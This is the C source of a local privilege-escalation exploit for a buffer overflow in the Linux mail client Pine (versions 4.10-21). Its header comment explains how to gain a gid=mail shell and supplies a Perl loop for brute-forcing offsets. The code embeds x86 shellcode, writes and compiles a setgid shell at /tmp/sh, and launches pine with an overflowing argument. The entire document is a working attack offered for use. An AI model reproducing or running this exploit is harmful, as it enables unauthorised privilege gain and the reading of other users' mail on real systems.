/* (linux)pine[v4.10-21] buffer overflow, by v9[v9@fakehalo.org]. this will give you a gid=mail shell if /usr/bin/pine is SGID(=2755). pine seems to have some sort of alarm on this function when you overflow it - even if you launch a shell it exits with an alarm timeout very quickly. so, with the very limited time this program has to run it will write a shell to /tmp/sh(by default) and setgid(mail) itself when pine runs shellcode. tests: slackware3.6(non-sgid default) : used default offset. (-500) slackware7.0(non-sgid default) : used default offset. (-500) debian slink2.1(sgid-mail default): used default offset. (-500) threat: pretty much just reading other users mail. (like you can debian slink's default install) notes: you must get to the "MAIN MENU" of pine before it overflows. so, if it's youre first time running it you'll have to go through the opening garbage. also, remember things tend to get buggy after this program runs. yes, i know this isn't very clean. :) pine notes: pine was never meant to be sgid mail or have any sort of privileges. but, it seems some people just didn't listen and is sgid mail on some distributions(like debian slink is)/servers. (although, pine should take some of the responsibility) here is the generic perl script(nothing new here): #!/usr/bin/perl $i=$ARGV[0]; while(1){ print "offset: $i.\n"; system("./pine_bof $i"); $i+=100; } */ #include #define MAILGID 12 // group id of mail. (8 on deb[slink]) #define ALIGN 3 // alignment. (prolly don't need to change this) #define PATH "/usr/bin/pine" // path to setgid pine. #define CCPATH "/usr/bin/cc" // path to compiler. #define SHELLNAME "/tmp/sh" // shouldn't change the size of this. (7char) #define DEFAULT_OFFSET -500 // as usual, make it easy for the user. :/ static char exec[]= "\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3" "\x00" // this will be the mail gid. "\xcd\x80\x89\x76\x08\x31\xc0\x88\x46\x07" "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08" "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40" "\xcd\x80\xe8\xd2\xff\xff\xff" SHELLNAME // make sgid program/shell. "\x01"; // my favorite charcter. long esp(void){__asm__("movl %esp,%eax");} int main(int argc,char **argv){ char bof[1036],ccname[32],cc[64]; int i,offset,gid=MAILGID; long ret; FILE *shell; sprintf(ccname,"%s.c",SHELLNAME); shell=fopen(ccname,"w"); fprintf(shell,"main(){system(\"chgrp %d %s;chmod 2755 %s;echo %s: self-functioning sgid=mail shell.\");setgid(%d);system(\"/bin/sh\");}\n",gid,SHELLNAME,SHELLNAME,SHELLNAME,gid); fclose(shell); sprintf(cc,"%s %s -o %s",CCPATH,ccname,SHELLNAME); system(cc); if(unlink(ccname)){printf("%s: failed removing shell source. (%s)\n",argv[0],ccname);} if(argc>1){offset=atoi(argv[1]);} else{offset=DEFAULT_OFFSET;} ret=(esp()-offset); exec[10]=gid; // fill in with the gid. for(i=ALIGN;i<1027;i+=4){*(long *)&bof[i]=ret;} for(i=0;i<(1027-strlen(exec)-200);i++){*(bof+i)=0x90;} memcpy(bof+i,exec,strlen(exec)); printf("[ return address: 0x%lx, offset: %d, size: %d(sc=%d). ]\n",ret,offset,strlen(bof),strlen(exec)); sleep(1); // so you can see the ret, offset & size. if(execlp(PATH,"pine","-f",bof,0)){ printf("%s: execution failed, maybe %s is non-existant?\n",argv[0],PATH); exit(-1); } }